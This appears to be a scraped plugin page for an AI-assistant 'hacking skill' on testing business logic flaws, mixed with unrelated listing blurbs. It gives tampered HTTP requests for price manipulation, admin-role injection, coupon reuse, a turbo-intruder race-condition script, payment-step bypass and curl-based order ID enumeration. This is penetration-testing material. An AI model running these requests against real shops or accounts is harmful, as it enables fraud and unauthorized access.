From meta
Business logic flaws are application vulnerabilities where valid functions are abused in unintended ways: price manipulation via hidden field tampering, workflow step-skipping, function call limit bypass (coupon reuse), process timing exploitation (race conditions on balance updates), and request forging via guessable/predictable parameters. Detect using Burp Suite proxy interception, HTTP POST/GET parameter analysis, and misuse-case testing against multi-step workflows. Tools: Burp Suite, OWASP ZAP.
npx claudepluginhub securityfortech/hacking-skills --plugin metaThis skill uses the workspace's default tool permissions.
Business logic flaws occur when an application's security controls are implemented only on the client side, or when developers assume users will always follow the intended workflow. Unlike injection attacks, these vulnerabilities use the application's own features correctly from a technical standpoint but in unintended sequences or with unexpected values. They are particularly dangerous because...
Guides Next.js Cache Components and Partial Prerendering (PPR) with cacheComponents enabled. Implements 'use cache', cacheLife(), cacheTag(), revalidateTag(), static/dynamic optimization, and cache debugging.
Guides building MCP servers enabling LLMs to interact with external services via tools. Covers best practices, TypeScript/Node (MCP SDK), Python (FastMCP).
Generates original PNG/PDF visual art via design philosophy manifestos for posters, graphics, and static designs on user request.
Business logic flaws occur when an application's security controls are implemented only on the client side, or when developers assume users will always follow the intended workflow. Unlike injection attacks, these vulnerabilities use the application's own features correctly from a technical standpoint but in unintended sequences or with unexpected values. They are particularly dangerous because automated scanners rarely detect them — they require understanding the application's intended purpose. Common manifestations include price/quantity manipulation, workflow step bypass, coupon reuse, race conditions in financial operations, and privilege escalation via hidden or predictable parameters.
Data Validation Testing (BUSL-01)
Request Forging (BUSL-02)
Integrity Check Testing (BUSL-03)
Process Timing Exploitation (BUSL-04)
Function Use Limit Testing (BUSL-05)
Workflow Circumvention (BUSL-06)
# Price/quantity manipulation via Burp Intercept
# Original request:
POST /checkout HTTP/1.1
item_id=123&quantity=1&price=99.99&total=99.99
# Modified request:
POST /checkout HTTP/1.1
item_id=123&quantity=1&price=0.01&total=0.01
# Negative quantity for credit
POST /cart/add HTTP/1.1
item_id=123&quantity=-10
# Hidden field privilege escalation
# Original:
POST /profile/update HTTP/1.1
name=John&email=john@domain.com
# Modified (inject hidden admin field observed in source):
POST /profile/update HTTP/1.1
name=John&email=john@domain.com&role=admin&is_admin=true
# Coupon reuse — apply same coupon twice via Burp Repeater
POST /apply-coupon HTTP/1.1
coupon_code=DISCOUNT20
# Race condition on coupon/balance (Burp Intruder / turbo-intruder)
# Send 20 simultaneous requests to apply one-time coupon
# turbo-intruder script:
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=20)
for i in range(20):
engine.queue(target.req)
# Workflow skip — bypass payment step
# Step 1: /checkout/cart -> Step 2: /checkout/payment -> Step 3: /checkout/confirm
# Skip step 2:
GET /checkout/confirm?order_id=12345 HTTP/1.1
# IDOR — enumerate predictable order IDs
curl -s -b "session=TOKEN" TARGET/orders/1001
curl -s -b "session=TOKEN" TARGET/orders/1002
# Automate with Burp Intruder: numeric sequence on order ID
# Distributed Denial of Dollar — trigger fee thresholds
POST /transfer HTTP/1.1
amount=0.01
# Repeat 10000 times to trigger per-transaction fee accumulation
Scenario 1 — E-Commerce Price Manipulation
Setup: Shopping cart stores price in hidden POST field; server trusts client-supplied price on checkout.
Trigger: Intercept POST to /checkout, change price=299.99 to price=0.01.
Impact: High-value item purchased for near-zero cost; financial loss to merchant.
Scenario 2 — Race Condition on One-Time Coupon Setup: Discount coupon validated server-side but check and update are not atomic. Trigger: Send 20 simultaneous POST requests applying the same coupon using Burp Intruder with max concurrency. Impact: Coupon applied multiple times before server marks it as used; full discount stack.
Scenario 3 — Workflow Step Bypass on Free Trial
Setup: Premium feature gated behind payment step in multi-step checkout; state stored in URL parameter.
Trigger: Skip directly to /account/activate-premium?plan=annual&payment_status=complete without completing payment.
Impact: Premium features activated without payment; revenue bypass.
[[bola-idor]] frequently surfaces business logic violations — accessing another user's order ID often reveals whether they have applied discounts, completed payments, or hold different access tiers. Price manipulation via hidden field tampering is the same class of bug as [[authz-bypass]] parameter tampering. Race conditions in financial operations benefit from the same timing analysis as [[session-fixation]] window attacks. Workflow step-skipping that grants access to restricted features without paying is structurally identical to an [[auth-bypass]] on the payment gate.